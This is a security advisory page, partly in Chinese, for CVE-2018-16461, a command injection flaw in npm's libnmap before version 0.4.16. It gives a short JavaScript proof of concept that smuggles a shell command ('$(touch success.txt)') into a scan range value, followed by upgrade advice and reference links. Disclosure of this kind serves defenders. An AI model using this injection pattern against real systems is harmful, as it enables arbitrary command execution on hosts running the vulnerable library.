CVE-2018-16461

描述

Versions of `libnmap` before 0.4.16 are vulnerable to command injection. Proof of concept ```js const nmap = require('libnmap'); const opts = { range: [ 'scanme.nmap.org', "x.x.$(touch success.txt)" ] }; nmap.scan(opts, function(err, report) { if (err) throw new Error(err); for (let item in report) { console.log(JSON.stringify(report[item])); } }); ``` ## Recommendation Update to version 0.4.16 or later

如何修補 CVE-2018-16461

要修補 CVE-2018-16461,請將受影響套件升級到下列已修補版本。

• npm/libnmap—升級至 0.4.16 或更新版本

CVE-2018-16461 正在被利用嗎?

低 — EPSS 為 1.4%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• from 0, < 0.4.16

參考連結(5)

• ADVISORYgithub.com/advisories/GHSA-7g2w-6r25-2j7p
• ADVISORYnvd.nist.gov/vuln/detail/CVE-2018-16461
• WEBgithub.com/nodejs/security-wg/blob/master/vuln/npm/474.json
• WEBhackerone.com/reports/390865
• WEB